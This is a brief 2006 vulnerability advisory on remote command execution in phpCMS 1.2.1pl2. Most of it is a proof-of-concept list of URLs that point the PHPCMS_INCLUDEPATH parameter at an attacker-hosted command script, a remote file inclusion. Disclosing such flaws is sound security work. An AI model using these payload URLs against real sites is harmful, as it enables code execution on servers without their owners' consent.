-----------------------------------------------------
Advisory id: FSA:014

Author: Federico Fazzi
Date: 12/06/2006, 10:25
Sinthesis: phpCMS 1.2.1pl2, Remote command execution
Type: high
Product: http://www.phpcms.de/
Patch: unavailable
-----------------------------------------------------

1) Description:

Multiple vulnerabilities, see poc.

2) Proof of concept:

http://example/[pc_path]/parser/include/class.parser_phpcms.php?PHPCMS_I
NCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.session_phpcms.php?PHPCMS_
INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.edit_phpcms.php?PHPCMS_INC
LUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.http_indexer_phpcms.php?PH
PCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.cache_phpcms.php?PHPCMS_IN
CLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.search_phpcms.php?PHPCMS_I
NCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.lib_indexer_universal_phpc
ms.php?PHPCMS_INCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/include/class.layout_phpcms.php?PHPCMS_I
NCLUDEPATH=[cmd_url]
http://example/[pc_path]/parser/plugs/counter.php?PHPCMS_INCLUDEPATH=[cm
d_url]

http://example/[pc_path]/parser/parser.php?PHPCMS_INCLUDEPATH=[cmd_url]/

(note this is with final slash (/))

3) Solution:

sanitized all variables on all files.

[ reply ]